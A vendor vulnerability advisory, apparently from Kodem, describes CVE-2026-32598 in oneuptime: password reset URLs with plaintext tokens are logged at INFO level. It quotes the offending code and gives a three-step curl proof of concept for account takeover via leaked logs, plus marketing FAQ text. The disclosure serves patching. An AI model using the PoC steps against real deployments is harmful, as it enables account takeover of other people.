CVE-2026-32598

CVE-2026-32598 is a medium-severity security vulnerability in oneuptime (npm), affecting versions < 10.0.23. It is fixed in 10.0.23.

Summary

The password reset flow logs the complete password reset URL, containing the plaintext reset token, at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.

Details

Vulnerable code, App/FeatureSet/Identity/API/Authentication.ts lines 370-371:

logger.info("User forgot password: " + user.email?.toString());
logger.info("Reset Password URL: " + tokenVerifyUrl);

The tokenVerifyUrl is a complete URL like https://app.oneuptime.com/accounts/reset-password/<plaintext-token>. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.

Additionally, login credentials logged at DEBUG level (line 909):

logger.debug("Login request data: " + JSON.stringify(req.body, null, 2));

The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.

No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked resetPasswordToken from the database via multi-tenant header bypass, this finding is different (token leaked via application logs).

PoC

Environment: OneUptime v10.0.23 via docker compose up (default configuration)

# Step 1, Trigger forgot-password for target user
curl -s -X POST http://TARGET:8080/api/identity/forgot-password \
  -H 'Content-Type: application/json' \
  -d '{"data": {"email": "[email protected]"}}'
# Response: {}

# Step 2, Read application logs to extract the reset token
docker compose logs app --tail 5
# Output:
# app-1  | User forgot password: [email protected]
# app-1  | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef

# Step 3, Use the extracted token to reset the victim's password
curl -s -X POST http://TARGET:8080/api/identity/reset-password \
  -H 'Content-Type: application/json' \
  -d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}'

Tested and confirmed on 2026-03-12 against oneuptime/app:release (APP_VERSION=10.0.23). Full password reset token 20771cc6-860a-4b9b-bb9c-09eff67de4ef visible in INFO-level logs.

Attack surface for log access: ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, docker logs / kubectl logs, shared log volumes, CDN/proxy access logs.

Impact

Any user's account can be taken over by anyone with read access to application logs:

  • Account takeover: Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens
  • Exposure scale: This logs EVERY password reset request, not a one-off, but systematic
  • Cascading impact: Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user
  • Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access

Affected versions

oneuptime (< 10.0.23)

Security releases

oneuptime → 10.0.23 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade oneuptime to 10.0.23 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-32598? CVE-2026-32598 is a medium-severity security vulnerability in oneuptime (npm), affecting versions < 10.0.23. It is fixed in 10.0.23.
  2. Which versions of oneuptime are affected by CVE-2026-32598? oneuptime (npm) versions < 10.0.23 is affected.
  3. Is there a fix for CVE-2026-32598? Yes. CVE-2026-32598 is fixed in 10.0.23. Upgrade to this version or later.
  4. Is CVE-2026-32598 exploitable, and should I be worried? Whether CVE-2026-32598 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-32598 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-32598? Upgrade oneuptime to 10.0.23 or later.

Other vulnerabilities in oneuptime

CVE-2026-33143CVE-2026-33142CVE-2026-32598CVE-2026-32308

Stop the waste.
Protect your environment with Kodem.